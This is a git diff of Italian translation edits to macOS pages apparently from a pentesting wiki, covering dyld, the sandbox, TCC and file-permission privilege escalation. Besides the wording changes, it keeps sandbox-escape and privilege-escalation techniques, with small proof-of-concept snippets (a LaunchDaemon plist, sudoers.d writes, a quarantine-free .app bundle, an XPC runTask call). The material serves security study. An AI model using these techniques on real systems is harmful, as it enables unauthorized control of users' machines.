È possibile vedere che il salto per chiamare printf va a **`__TEXT.__stubs`**:
|
||||
```bash
|
||||
objdump --section-headers ./load
|
||||
|
||||
@ -95,9 +95,9 @@ Disassembly of section __TEXT,__stubs:
|
||||
100003f9c: f9400210 ldr x16, [x16]
|
||||
100003fa0: d61f0200 br x16
|
||||
```
|
||||
puoi vedere che stiamo **saltando all'indirizzo del GOT**, che in questo caso è risolto in modo non pigro e conterrà l'indirizzo della funzione printf.
|
||||
puoi vedere che stiamo **saltando all'indirizzo del GOT**, che in questo caso è risolto non pigro e conterrà l'indirizzo della funzione printf.
|
||||
|
||||
In altre situazioni, invece di saltare direttamente al GOT, potrebbe saltare a **`__DATA.__la_symbol_ptr`** che caricherà un valore che rappresenta la funzione che sta cercando di caricare, quindi saltare a **`__TEXT.__stub_helper`** che salta il **`__DATA.__nl_symbol_ptr`** che contiene l'indirizzo di **`dyld_stub_binder`** che prende come parametri il numero della funzione e un indirizzo.\
|
||||
In altre situazioni, invece di saltare direttamente al GOT, potrebbe saltare a **`__DATA.__la_symbol_ptr`** che caricherà un valore che rappresenta la funzione che sta cercando di caricare, poi saltare a **`__TEXT.__stub_helper`** che salta il **`__DATA.__nl_symbol_ptr`** che contiene l'indirizzo di **`dyld_stub_binder`** che prende come parametri il numero della funzione e un indirizzo.\
|
||||
Questa ultima funzione, dopo aver trovato l'indirizzo della funzione cercata, lo scrive nella posizione corrispondente in **`__TEXT.__stub_helper`** per evitare di fare ricerche in futuro.
|
||||
|
||||
> [!TIP]
|
||||
@ -254,15 +254,15 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
### Altri
|
||||
|
||||
- `DYLD_BIND_AT_LAUNCH`: I legami pigri vengono risolti con quelli non pigri
|
||||
- `DYLD_DISABLE_PREFETCH`: Disabilita il pre-caricamento dei contenuti \_\_DATA e \_\_LINKEDIT
|
||||
- `DYLD_DISABLE_PREFETCH`: Disabilita il pre-caricamento del contenuto di \_\_DATA e \_\_LINKEDIT
|
||||
- `DYLD_FORCE_FLAT_NAMESPACE`: Legami a livello singolo
|
||||
- `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Percorsi di risoluzione
|
||||
- `DYLD_INSERT_LIBRARIES`: Carica una libreria specifica
|
||||
- `DYLD_PRINT_TO_FILE`: Scrivi il debug di dyld in un file
|
||||
- `DYLD_PRINT_APIS`: Stampa le chiamate API di libdyld
|
||||
- `DYLD_PRINT_APIS_APP`: Stampa le chiamate API di libdyld effettuate da main
|
||||
- `DYLD_PRINT_BINDINGS`: Stampa i simboli quando vengono legati
|
||||
- `DYLD_WEAK_BINDINGS`: Stampa solo simboli deboli quando vengono legati
|
||||
- `DYLD_PRINT_BINDINGS`: Stampa i simboli quando sono legati
|
||||
- `DYLD_WEAK_BINDINGS`: Stampa solo simboli deboli quando sono legati
|
||||
- `DYLD_PRINT_CODE_SIGNATURES`: Stampa le operazioni di registrazione della firma del codice
|
||||
- `DYLD_PRINT_DOFS`: Stampa le sezioni del formato oggetto D-Trace come caricate
|
||||
- `DYLD_PRINT_ENV`: Stampa l'ambiente visto da dyld
|
||||
@ -272,8 +272,8 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
- `DYLD_REBASING`: Stampa le operazioni di riassegnazione dei simboli
|
||||
- `DYLD_RPATHS`: Stampa le espansioni di @rpath
|
||||
- `DYLD_PRINT_SEGMENTS`: Stampa le mappature dei segmenti Mach-O
|
||||
- `DYLD_PRINT_STATISTICS`: Stampa le statistiche di temporizzazione
|
||||
- `DYLD_PRINT_STATISTICS_DETAILS`: Stampa statistiche di temporizzazione dettagliate
|
||||
- `DYLD_PRINT_STATISTICS`: Stampa le statistiche temporali
|
||||
- `DYLD_PRINT_STATISTICS_DETAILS`: Stampa statistiche temporali dettagliate
|
||||
- `DYLD_PRINT_WARNINGS`: Stampa messaggi di avviso
|
||||
- `DYLD_SHARED_CACHE_DIR`: Percorso da utilizzare per la cache delle librerie condivise
|
||||
- `DYLD_SHARED_REGION`: "usa", "privato", "evita"
|
||||
|
||||
@ -40,7 +40,7 @@ macos-tcc/
|
||||
|
||||
### Launch/Environment Constraints & Trust Cache
|
||||
|
||||
I vincoli di avvio in macOS sono una funzionalità di sicurezza per **regolare l'inizio dei processi** definendo **chi può avviare** un processo, **come** e **da dove**. Introdotti in macOS Ventura, categorizzano i binari di sistema in categorie di vincolo all'interno di un **trust cache**. Ogni binario eseguibile ha **regole** impostate per il suo **avvio**, inclusi vincoli di **self**, **parent** e **responsible**. Estesi alle app di terze parti come **Environment** Constraints in macOS Sonoma, queste funzionalità aiutano a mitigare potenziali sfruttamenti del sistema governando le condizioni di avvio dei processi.
|
||||
I vincoli di avvio in macOS sono una funzionalità di sicurezza per **regolare l'inizio dei processi** definendo **chi può avviare** un processo, **come** e **da dove**. Introdotti in macOS Ventura, categorizzano i binari di sistema in categorie di vincolo all'interno di un **trust cache**. Ogni binario eseguibile ha **regole** impostate per il suo **avvio**, inclusi vincoli di **se stesso**, **genitore** e **responsabile**. Estesi alle app di terze parti come **Environment** Constraints in macOS Sonoma, queste funzionalità aiutano a mitigare potenziali sfruttamenti del sistema governando le condizioni di avvio dei processi.
|
||||
|
||||
{{#ref}}
|
||||
macos-launch-environment-constraints.md
|
||||
@ -50,24 +50,24 @@ macos-launch-environment-constraints.md
|
||||
|
||||
Il Malware Removal Tool (MRT) è un'altra parte dell'infrastruttura di sicurezza di macOS. Come suggerisce il nome, la funzione principale di MRT è **rimuovere malware conosciuti da sistemi infetti**.
|
||||
|
||||
Una volta che il malware viene rilevato su un Mac (sia da XProtect che da altri mezzi), MRT può essere utilizzato per **rimuovere automaticamente il malware**. MRT opera silenziosamente in background e di solito viene eseguito ogni volta che il sistema viene aggiornato o quando viene scaricata una nuova definizione di malware (sembra che le regole che MRT deve seguire per rilevare il malware siano all'interno del binario).
|
||||
Una volta che il malware viene rilevato su un Mac (sia da XProtect che da altri mezzi), MRT può essere utilizzato per **rimuovere automaticamente il malware**. MRT opera silenziosamente in background e di solito viene eseguito ogni volta che il sistema viene aggiornato o quando viene scaricata una nuova definizione di malware (sembra che le regole che MRT ha per rilevare il malware siano all'interno del binario).
|
||||
|
||||
Sebbene sia XProtect che MRT facciano parte delle misure di sicurezza di macOS, svolgono funzioni diverse:
|
||||
|
||||
- **XProtect** è uno strumento preventivo. **Controlla i file mentre vengono scaricati** (tramite determinate applicazioni) e, se rileva tipi noti di malware, **impedisce l'apertura del file**, prevenendo così l'infezione del sistema da parte del malware in primo luogo.
|
||||
- **XProtect** è uno strumento preventivo. **Controlla i file mentre vengono scaricati** (tramite determinate applicazioni) e, se rileva tipi noti di malware, **impedisce l'apertura del file**, prevenendo così che il malware infetti il tuo sistema in primo luogo.
|
||||
- **MRT**, d'altra parte, è uno **strumento reattivo**. Opera dopo che il malware è stato rilevato su un sistema, con l'obiettivo di rimuovere il software offensivo per ripulire il sistema.
|
||||
|
||||
L'applicazione MRT si trova in **`/Library/Apple/System/Library/CoreServices/MRT.app`**
|
||||
|
||||
## Background Tasks Management
|
||||
|
||||
**macOS** ora **avvisa** ogni volta che uno strumento utilizza una **tecnica nota per persistere nell'esecuzione del codice** (come Login Items, Daemons...), così l'utente sa meglio **quale software sta persistendo**.
|
||||
**macOS** ora **avvisa** ogni volta che uno strumento utilizza una **tecnica ben nota per persistere nell'esecuzione del codice** (come Login Items, Daemons...), così l'utente sa meglio **quale software sta persistendo**.
|
||||
|
||||
<figure><img src="../../../images/image (1183).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Questo funziona con un **daemon** situato in `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` e l'**agent** in `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
|
||||
|
||||
Il modo in cui **`backgroundtaskmanagementd`** sa che qualcosa è installato in una cartella persistente è **ottenendo gli FSEvents** e creando alcuni **handler** per questi.
|
||||
Il modo in cui **`backgroundtaskmanagementd`** sa che qualcosa è installato in una cartella persistente è **ottenendo gli FSEvents** e creando alcuni **handler** per quelli.
|
||||
|
||||
Inoltre, c'è un file plist che contiene **applicazioni ben note** che persistono frequentemente mantenuto da Apple situato in: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
```json
|
||||
|
||||
@ -8,17 +8,17 @@ Permessi in una **directory**:
|
||||
|
||||
- **read** - puoi **enumerare** le voci della directory
|
||||
- **write** - puoi **eliminare/scrivere** **file** nella directory e puoi **eliminare cartelle vuote**.
|
||||
- Ma non puoi **eliminare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di esse.
|
||||
- Non puoi **modificare il nome di una cartella** a meno che tu non sia il proprietario.
|
||||
- Ma **non puoi eliminare/modificare cartelle non vuote** a meno che tu non abbia permessi di scrittura su di essa.
|
||||
- **Non puoi modificare il nome di una cartella** a meno che tu non sia il proprietario.
|
||||
- **execute** - ti è **consentito di attraversare** la directory - se non hai questo diritto, non puoi accedere a nessun file al suo interno, né in alcuna sottodirectory.
|
||||
|
||||
### Combinazioni Pericolose
|
||||
### Combinazioni pericolose
|
||||
|
||||
**Come sovrascrivere un file/cartella di proprietà di root**, ma:
|
||||
|
||||
- Un **proprietario della directory** genitore nel percorso è l'utente
|
||||
- Un **proprietario della directory** genitore nel percorso è un **gruppo di utenti** con **accesso in scrittura**
|
||||
- Un **gruppo di utenti** ha accesso in **scrittura** al **file**
|
||||
- Un **gruppo di utenti** ha **accesso in scrittura** al **file**
|
||||
|
||||
Con una delle combinazioni precedenti, un attaccante potrebbe **iniettare** un **link simbolico/duro** nel percorso previsto per ottenere una scrittura arbitraria privilegiata.
|
||||
|
||||
@ -28,11 +28,11 @@ Se ci sono file in una **directory** dove **solo root ha accesso R+X**, questi *
|
||||
|
||||
Esempio in: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
|
||||
|
||||
## Link Simbolico / Link Duro
|
||||
## Link simbolico / Link duro
|
||||
|
||||
### File/cartella permissivi
|
||||
|
||||
Se un processo privilegiato sta scrivendo dati in un **file** che potrebbe essere **controllato** da un **utente con privilegi inferiori**, o che potrebbe essere **stato creato precedentemente** da un utente con privilegi inferiori. L'utente potrebbe semplicemente **puntarlo a un altro file** tramite un link simbolico o duro, e il processo privilegiato scriverà su quel file.
|
||||
Se un processo privilegiato sta scrivendo dati in un **file** che potrebbe essere **controllato** da un **utente con privilegi inferiori**, o che potrebbe essere **stato precedentemente creato** da un utente con privilegi inferiori. L'utente potrebbe semplicemente **puntarlo a un altro file** tramite un link simbolico o duro, e il processo privilegiato scriverà su quel file.
|
||||
|
||||
Controlla nelle altre sezioni dove un attaccante potrebbe **sfruttare una scrittura arbitraria per elevare i privilegi**.
|
||||
|
||||
@ -124,7 +124,7 @@ Il formato di file **AppleDouble** copia un file inclusi i suoi ACE.
|
||||
|
||||
Nel [**codice sorgente**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) è possibile vedere che la rappresentazione testuale dell'ACL memorizzata all'interno dell'xattr chiamato **`com.apple.acl.text`** verrà impostata come ACL nel file decompresso. Quindi, se hai compresso un'applicazione in un file zip con formato di file **AppleDouble** con un ACL che impedisce ad altri xattr di essere scritti... l'xattr di quarantena non è stato impostato nell'applicazione:
|
||||
|
||||
Controlla il [**rapporto originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
|
||||
Controlla il [**report originale**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) per ulteriori informazioni.
|
||||
|
||||
Per replicare questo, dobbiamo prima ottenere la stringa acl corretta:
|
||||
```bash
|
||||
@ -260,7 +260,7 @@ Se il tuo script può essere interpretato come uno **script shell**, puoi sovras
|
||||
|
||||
Puoi **fingere** un'esecuzione di questo script con: **`sudo periodic daily`**
|
||||
|
||||
### Demoni
|
||||
### Daemons
|
||||
|
||||
Scrivi un **LaunchDaemon** arbitrario come **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** con un plist che esegue uno script arbitrario come:
|
||||
```xml
|
||||
@ -283,7 +283,7 @@ Just generate the script `/Applications/Scripts/privesc.sh` con i **comandi** ch
|
||||
|
||||
### Sudoers File
|
||||
|
||||
Se hai **scrittura arbitraria**, potresti creare un file all'interno della cartella **`/etc/sudoers.d/`** concedendoti privilegi **sudo**.
|
||||
Se hai **scrittura arbitraria**, puoi creare un file all'interno della cartella **`/etc/sudoers.d/`** concedendoti privilegi **sudo**.
|
||||
|
||||
### PATH files
|
||||
|
||||
@ -421,17 +421,17 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
## macOS Guarded Descriptors
|
||||
## Descrittori Protetti di macOS
|
||||
|
||||
**macOS guarded descriptors** sono una funzionalità di sicurezza introdotta in macOS per migliorare la sicurezza e l'affidabilità delle **operazioni sui descrittori di file** nelle applicazioni utente. Questi descrittori protetti forniscono un modo per associare restrizioni specifiche o "guardie" ai descrittori di file, che sono applicate dal kernel.
|
||||
I **descrittori protetti di macOS** sono una funzionalità di sicurezza introdotta in macOS per migliorare la sicurezza e l'affidabilità delle **operazioni sui descrittori di file** nelle applicazioni utente. Questi descrittori protetti forniscono un modo per associare restrizioni specifiche o "guardie" ai descrittori di file, che sono applicate dal kernel.
|
||||
|
||||
Questa funzionalità è particolarmente utile per prevenire determinate classi di vulnerabilità di sicurezza come **accesso non autorizzato ai file** o **condizioni di gara**. Queste vulnerabilità si verificano quando, ad esempio, un thread accede a una descrizione di file dando **accesso a un altro thread vulnerabile** o quando un descrittore di file è **ereditato** da un processo figlio vulnerabile. Alcune funzioni relative a questa funzionalità sono:
|
||||
Questa funzionalità è particolarmente utile per prevenire alcune classi di vulnerabilità di sicurezza come **accesso non autorizzato ai file** o **condizioni di gara**. Queste vulnerabilità si verificano quando, ad esempio, un thread accede a una descrizione di file dando **accesso a un altro thread vulnerabile** o quando un descrittore di file è **ereditato** da un processo figlio vulnerabile. Alcune funzioni relative a questa funzionalità sono:
|
||||
|
||||
- `guarded_open_np`: Apre un FD con una guardia
|
||||
- `guarded_close_np`: Chiudilo
|
||||
- `guarded_close_np`: Chiude
|
||||
- `change_fdguard_np`: Cambia i flag di guardia su un descrittore (anche rimuovendo la protezione della guardia)
|
||||
|
||||
## References
|
||||
## Riferimenti
|
||||
|
||||
- [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/)
|
||||
|
||||
|
||||
@ -133,15 +133,15 @@ Qui puoi trovare un esempio:
|
||||
> [!TIP]
|
||||
> Controlla questa [**ricerca**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **per verificare ulteriori azioni che potrebbero essere consentite o negate.**
|
||||
>
|
||||
> Nota che nella versione compilata di un profilo, il nome delle operazioni è sostituito dalle loro voci in un array conosciuto dalla dylib e dal kext, rendendo la versione compilata più corta e più difficile da leggere.
|
||||
> Nota che nella versione compilata di un profilo il nome delle operazioni è sostituito dalle loro voci in un array conosciuto dalla dylib e dal kext, rendendo la versione compilata più corta e più difficile da leggere.
|
||||
|
||||
Importanti **servizi di sistema** vengono eseguiti all'interno del proprio **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di:
|
||||
Importanti **servizi di sistema** vengono eseguiti anche all'interno del proprio **sandbox** personalizzato, come il servizio `mdnsresponder`. Puoi visualizzare questi **profili sandbox** personalizzati all'interno di:
|
||||
|
||||
- **`/usr/share/sandbox`**
|
||||
- **`/System/Library/Sandbox/Profiles`**
|
||||
- Altri profili sandbox possono essere controllati in [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
|
||||
|
||||
Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti, come **`com.apple.security.network.server`**, consentono a un processo di utilizzare la rete.
|
||||
Le app dell'**App Store** utilizzano il **profilo** **`/System/Library/Sandbox/Profiles/application.sb`**. Puoi controllare in questo profilo come i diritti come **`com.apple.security.network.server`** consentono a un processo di utilizzare la rete.
|
||||
|
||||
Poi, alcuni **servizi daemon di Apple** utilizzano profili diversi situati in `/System/Library/Sandbox/Profiles/*.sb` o `/usr/share/sandbox/*.sb`. Questi sandbox vengono applicati nella funzione principale che chiama l'API `sandbox_init_XXX`.
|
||||
|
||||
@ -237,7 +237,7 @@ La funzione `sandbox_set_trace_path` esportata da `libsystem_sandbox.dylib` cons
|
||||
|
||||
MacOS memorizza i profili della sandbox di sistema in due posizioni: **/usr/share/sandbox/** e **/System/Library/Sandbox/Profiles**.
|
||||
|
||||
E se un'applicazione di terze parti porta il diritto _**com.apple.security.app-sandbox**_, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo.
|
||||
E se un'applicazione di terze parti porta il _**com.apple.security.app-sandbox**_ diritto, il sistema applica il profilo **/System/Library/Sandbox/Profiles/application.sb** a quel processo.
|
||||
|
||||
In iOS, il profilo predefinito si chiama **container** e non abbiamo la rappresentazione testuale SBPL. In memoria, questa sandbox è rappresentata come un albero binario Allow/Deny per ciascuna autorizzazione della sandbox.
|
||||
|
||||
@ -265,7 +265,7 @@ Inoltre, per confinare un processo all'interno di un contenitore, potrebbe chiam
|
||||
|
||||
## Debug e Bypass Sandbox
|
||||
|
||||
Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono optare per la sandbox da soli**. Ciò significa che su macOS, un processo non è limitato dalla sandbox fino a quando non decide attivamente di entrarvi, anche se le app dell'App Store sono sempre sandboxate.
|
||||
Su macOS, a differenza di iOS dove i processi sono sandboxati fin dall'inizio dal kernel, **i processi devono optare per la sandbox da soli**. Questo significa che su macOS, un processo non è limitato dalla sandbox fino a quando non decide attivamente di entrarci, anche se le app dell'App Store sono sempre sandboxate.
|
||||
|
||||
I processi sono automaticamente sandboxati dal userland quando iniziano se hanno il diritto: `com.apple.security.app-sandbox`. Per una spiegazione dettagliata di questo processo controlla:
|
||||
|
||||
@ -317,7 +317,7 @@ Nota che per chiamare la funzione di sospensione vengono controllati alcuni diri
|
||||
|
||||
Questa chiamata di sistema (#381) si aspetta un primo argomento stringa che indicherà il modulo da eseguire, e poi un codice nel secondo argomento che indicherà la funzione da eseguire. Poi il terzo argomento dipenderà dalla funzione eseguita.
|
||||
|
||||
La chiamata della funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel primo argomento `"Sandbox"` proprio come `___sandbox_msp` è un wrapper di `mac_set_proc` (#387). Poi, alcuni dei codici supportati da `___sandbox_ms` possono essere trovati in questa tabella:
|
||||
La chiamata alla funzione `___sandbox_ms` avvolge `mac_syscall` indicando nel primo argomento `"Sandbox"` proprio come `___sandbox_msp` è un wrapper di `mac_set_proc` (#387). Poi, alcuni dei codici supportati da `___sandbox_ms` possono essere trovati in questa tabella:
|
||||
|
||||
- **set_profile (#0)**: Applica un profilo compilato o nominato a un processo.
|
||||
- **platform_policy (#1)**: Applica controlli di policy specifici per la piattaforma (varia tra macOS e iOS).
|
||||
|
||||
@ -17,14 +17,14 @@ Infine, il sandbox verrà attivato con una chiamata a **`__sandbox_ms`** che chi
|
||||
|
||||
### Bypass dell'attributo di quarantena
|
||||
|
||||
**I file creati da processi sandboxed** vengono aggiunti con l'**attributo di quarantena** per prevenire la fuga dal sandbox. Tuttavia, se riesci a **creare una cartella `.app` senza l'attributo di quarantena** all'interno di un'applicazione sandboxed, potresti far puntare il binario del pacchetto dell'app a **`/bin/bash`** e aggiungere alcune variabili d'ambiente nel **plist** per abusare di **`open`** per **lanciare la nuova app non sandboxed**.
|
||||
**I file creati da processi sandboxed** vengono aggiunti con l'**attributo di quarantena** per prevenire la fuga dal sandbox. Tuttavia, se riesci a **creare una cartella `.app` senza l'attributo di quarantena** all'interno di un'applicazione sandboxed, potresti far puntare il binario del bundle dell'app a **`/bin/bash`** e aggiungere alcune variabili d'ambiente nel **plist** per abusare di **`open`** per **lanciare la nuova app non sandboxed**.
|
||||
|
||||
Questo è ciò che è stato fatto in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Pertanto, al momento, se sei in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi fuggire dal sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**).
|
||||
> Pertanto, al momento, se sei in grado di creare una cartella con un nome che termina in **`.app`** senza un attributo di quarantena, puoi sfuggire al sandbox perché macOS **controlla** solo l'**attributo di quarantena** nella **cartella `.app`** e nell'**eseguibile principale** (e faremo puntare l'eseguibile principale a **`/bin/bash`**).
|
||||
>
|
||||
> Nota che se un pacchetto .app è già stato autorizzato a essere eseguito (ha un attributo di quarantena con il flag autorizzato a essere eseguito attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei pacchetti **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox elevato).
|
||||
> Nota che se un bundle .app è già stato autorizzato a essere eseguito (ha un xttr di quarantena con il flag autorizzato a eseguire attivato), potresti anche abusarne... tranne che ora non puoi scrivere all'interno dei bundle **`.app`** a meno che tu non abbia alcuni permessi TCC privilegiati (che non avrai all'interno di un sandbox elevato).
|
||||
|
||||
### Abuso della funzionalità Open
|
||||
|
||||
@ -37,15 +37,15 @@ macos-office-sandbox-bypasses.md
|
||||
### Launch Agents/Daemons
|
||||
|
||||
Anche se un'applicazione è **destinata a essere sandboxed** (`com.apple.security.app-sandbox`), è possibile bypassare il sandbox se viene **eseguita da un LaunchAgent** (`~/Library/LaunchAgents`), ad esempio.\
|
||||
Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se desideri ottenere persistenza con un'applicazione che è sandboxed, potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.
|
||||
Come spiegato in [**questo post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se vuoi ottenere persistenza con un'applicazione che è sandboxed, potresti farla eseguire automaticamente come un LaunchAgent e magari iniettare codice malevolo tramite variabili d'ambiente DyLib.
|
||||
|
||||
### Abuso delle posizioni di avvio automatico
|
||||
|
||||
Se un processo sandboxed può **scrivere** in un luogo dove **successivamente un'applicazione non sandboxed eseguirà il binario**, sarà in grado di **fuggire semplicemente posizionando** lì il binario. Un buon esempio di questo tipo di posizioni sono `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.
|
||||
Se un processo sandboxed può **scrivere** in un luogo dove **successivamente un'applicazione non sandboxed eseguirà il binario**, sarà in grado di **sfuggire semplicemente posizionando** lì il binario. Un buon esempio di questo tipo di posizioni sono `~/Library/LaunchAgents` o `/System/Library/LaunchDaemons`.
|
||||
|
||||
Per questo potresti anche aver bisogno di **2 passaggi**: far eseguire il tuo codice a un processo con un **sandbox più permissivo** (`file-read*`, `file-write*`) che scriverà effettivamente in un luogo dove sarà **eseguito non sandboxed**.
|
||||
Per questo potresti anche aver bisogno di **2 passaggi**: far eseguire un processo con un **sandbox più permissivo** (`file-read*`, `file-write*`) che eseguirà il tuo codice che scriverà effettivamente in un luogo dove sarà **eseguito non sandboxed**.
|
||||
|
||||
Controlla questa pagina sulle **posizioni di avvio automatico**:
|
||||
Controlla questa pagina riguardo le **posizioni di avvio automatico**:
|
||||
|
||||
{{#ref}}
|
||||
../../../../macos-auto-start-locations.md
|
||||
@ -53,7 +53,7 @@ Controlla questa pagina sulle **posizioni di avvio automatico**:
|
||||
|
||||
### Abuso di altri processi
|
||||
|
||||
Se da quel processo sandbox sei in grado di **compromettere altri processi** in esecuzione in sandbox meno restrittivi (o nessuno), sarai in grado di fuggire dai loro sandbox:
|
||||
Se da quel momento il processo sandboxed riesci a **compromettere altri processi** in esecuzione in sandbox meno restrittive (o nessuna), sarai in grado di sfuggire ai loro sandbox:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/
|
||||
@ -61,7 +61,7 @@ Se da quel processo sandbox sei in grado di **compromettere altri processi** in
|
||||
|
||||
### Servizi Mach di sistema e utente disponibili
|
||||
|
||||
Il sandbox consente anche di comunicare con determinati **servizi Mach** tramite XPC definiti nel profilo `application.sb`. Se riesci ad **abusare** di uno di questi servizi, potresti essere in grado di **fuggire dal sandbox**.
|
||||
Il sandbox consente anche di comunicare con determinati **servizi Mach** tramite XPC definiti nel profilo `application.sb`. Se riesci ad **abusare** di uno di questi servizi, potresti essere in grado di **sfuggire al sandbox**.
|
||||
|
||||
Come indicato in [questo writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), le informazioni sui servizi Mach sono memorizzate in `/System/Library/xpc/launchd.plist`. È possibile trovare tutti i servizi Mach di sistema e utente cercando all'interno di quel file per `<string>System</string>` e `<string>User</string>`.
|
||||
|
||||
@ -109,7 +109,7 @@ Diversi esempi che abusano di questa tecnica possono essere trovati nel [**write
|
||||
|
||||
Questo servizio consente ogni connessione XPC restituendo sempre `YES` e il metodo `runTask:arguments:withReply:` esegue un comando arbitrario con parametri arbitrari.
|
||||
|
||||
L'exploit era "così semplice come":
|
||||
Lo sfruttamento era "così semplice come":
|
||||
```objectivec
|
||||
@protocol SKRemoteTaskRunnerProtocol
|
||||
-(void)runTask:(NSURL *)task arguments:(NSArray *)args withReply:(void (^)(NSNumber *, NSError *))reply;
|
||||
@ -219,13 +219,13 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
|
||||
```
|
||||
### Restrizioni non ereditate
|
||||
|
||||
Come spiegato nel **[bonus di questo documento](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, una restrizione della sandbox come:
|
||||
Come spiegato nel **[bonus di questo writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, una restrizione del sandbox come:
|
||||
```
|
||||
(version 1)
|
||||
(allow default)
|
||||
(deny file-write* (literal "/private/tmp/sbx"))
|
||||
```
|
||||
può essere eluso da un nuovo processo che esegue ad esempio:
|
||||
può essere aggirato da un nuovo processo che esegue ad esempio:
|
||||
```bash
|
||||
mkdir -p /tmp/poc.app/Contents/MacOS
|
||||
echo '#!/bin/sh\n touch /tmp/sbx' > /tmp/poc.app/Contents/MacOS/poc
|
||||
@ -362,7 +362,7 @@ system("cat ~/Desktop/del.txt");
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Quindi compila l'app:
|
||||
Poi compila l'app:
|
||||
```bash
|
||||
# Compile it
|
||||
gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand
|
||||
|
||||
@ -24,7 +24,7 @@ I permessi sono **ereditati dall'applicazione padre** e i **permessi** sono **tr
|
||||
|
||||
### Database TCC
|
||||
|
||||
Le autorizzazioni/rifiuti sono quindi memorizzati in alcuni database TCC:
|
||||
Le autorizzazioni/negazioni sono quindi memorizzate in alcuni database TCC:
|
||||
|
||||
- Il database a livello di sistema in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Questo database è **protetto da SIP**, quindi solo un bypass SIP può scriverci.
|
||||
@ -102,7 +102,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
||||
{{#endtabs}}
|
||||
|
||||
> [!TIP]
|
||||
> Controllando entrambe le banche dati puoi verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà di essi).
|
||||
> Controllando entrambi i database puoi verificare i permessi che un'app ha consentito, ha vietato o non ha (chiederà di farlo).
|
||||
|
||||
- Il **`service`** è la rappresentazione della stringa di **permesso** TCC
|
||||
- Il **`client`** è il **bundle ID** o **percorso del binario** con i permessi
|
||||
@ -186,7 +186,7 @@ tccutil reset All
|
||||
```
|
||||
### Controlli della Firma TCC
|
||||
|
||||
Il TCC **database** memorizza il **Bundle ID** dell'applicazione, ma **memorizza** anche **informazioni** sulla **firma** per **assicurarsi** che l'App che richiede di utilizzare un permesso sia quella corretta.
|
||||
Il **database** TCC memorizza il **Bundle ID** dell'applicazione, ma memorizza anche **informazioni** sulla **firma** per **assicurarsi** che l'App che richiede di utilizzare un permesso sia quella corretta.
|
||||
```bash
|
||||
# From sqlite
|
||||
sqlite> select service, client, hex(csreq) from access where auth_value=2;
|
||||
@ -206,7 +206,7 @@ csreq -t -r /tmp/telegram_csreq.bin
|
||||
Le app **non hanno solo bisogno** di **richiedere** e di avere **accesso** a alcune risorse, ma devono anche **avere i diritti pertinenti**.\
|
||||
Ad esempio, **Telegram** ha il diritto `com.apple.security.device.camera` per richiedere **accesso alla fotocamera**. Un **app** che **non ha** questo **diritto non potrà** accedere alla fotocamera (e l'utente non verrà nemmeno chiesto per i permessi).
|
||||
|
||||
